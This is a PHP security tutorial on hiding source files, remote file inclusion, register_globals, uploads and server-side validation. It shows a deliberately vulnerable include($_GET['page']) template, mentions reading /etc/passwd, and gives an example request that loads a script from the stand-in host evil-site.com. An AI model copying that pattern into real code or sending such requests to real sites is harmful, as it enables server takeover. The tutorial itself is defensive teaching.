• Securing Your PHP Code – Server Security

Keeping Code Private

There are many reasons why you would want to keep your code from being leaked. It may contain passwords or API keys, it could give attackers an idea of where your code is vulnerable or you might just not want some idiot to nick your code and benefit from your hard work.

Of course everyone knows that security by obscurity is bad, but if you have holes in your code then it’s obviously better if other people didn’t know about them.

The number one rookie mistake is failing to give your PHP scripts a .php extension. This may seem obvious, but lots of people seem to like naming their files something like “functions.inc” or “MyClass.class”, seemingly unaware that anyone can request those files and view the raw code.

As well as giving files a correct extension you also consider moving them out of your web root anyway. You don’t need them in there, and having them in a non-public path makes everything safer. If you don’t want to rearrange your site structure then you could just use .htaccess to deny all requests to your include folder. In your-site.com/includes/.htaccess

Deny from all

Facebook recently had a configuration issue that caused their PHP files to be sent out as plain text. It only takes one small mistake to show the entire world the code base stored in your web root.

Remote Code Execution

The last thing you ever want is to have an attacker run their own code on your servers. Unfortunately there are a few simple mistakes that could open your site up to this possibility.

Watch what you include or require. Many people use include as a shortcut in their templates. For example

<html>
<body>
	<div class="header">...</div>
	<?php include($_GET['page'] . '.php'); ?>
</body> 	
</html>

This is a major no-no. The first problem is that an attacker can use this vulnerability to have any file on your system output to them. /etc/passwd. PHP will also allow you to include files from a remote server. An attacker can use this “feature” against you a request to http://www.your-site.com/index.php?page=http://www.evil-site.com/malicious-script.php.txt would force your server to download and execute code from the “evil-site.com” domain. Once that happens the user can attack your system by executing shell functions.

If you want to use the above pattern of templating then you can easily implement a white list of safe files.

<?php
$page = $_GET['page'];
$pages = array('index', 'about', '404', 'help');
if (!in_array($page, $pages)) {
	$page = '404';
}
include("$page.php");
?>

Register Globals

In the early days of PHP, external variables ($_GET, $_POST) were expanded as variables directly into the global scope: a query string of “?a=foo” would create a variable called $a in your local scope. This is thanks to the register globals functionality. Although this could seem useful, it is potentially dangerous. You should always turn off register globals in php.ini. If you can’t edit your php.ini then add the following to your .htaccess file

php_value register_globals 0

User Uploaded Files

Apache is set to pass any file with a “php” extension through to PHP. This means you have to be careful when storing user-uploaded files in your public directories. You may choose to allow users to upload their own avatar. It you keep the name given to the file by the user then you could be in for some trouble.

Form Validation

One final word of warning: don’t be tempted to leave any data validation to the client side. You might have written a nifty JavaScript function that does everything for you, but don’t just leave it at that. You should always write your PHP validating first (and also use your database rules where possible). JavaScript validation is something you should attempt when everything else works perfectly, and should be approached as a way of speeding things up for the end user.

Other articles in this series

• Securing Your PHP Code – XSS
• Securing Your PHP Code – Databases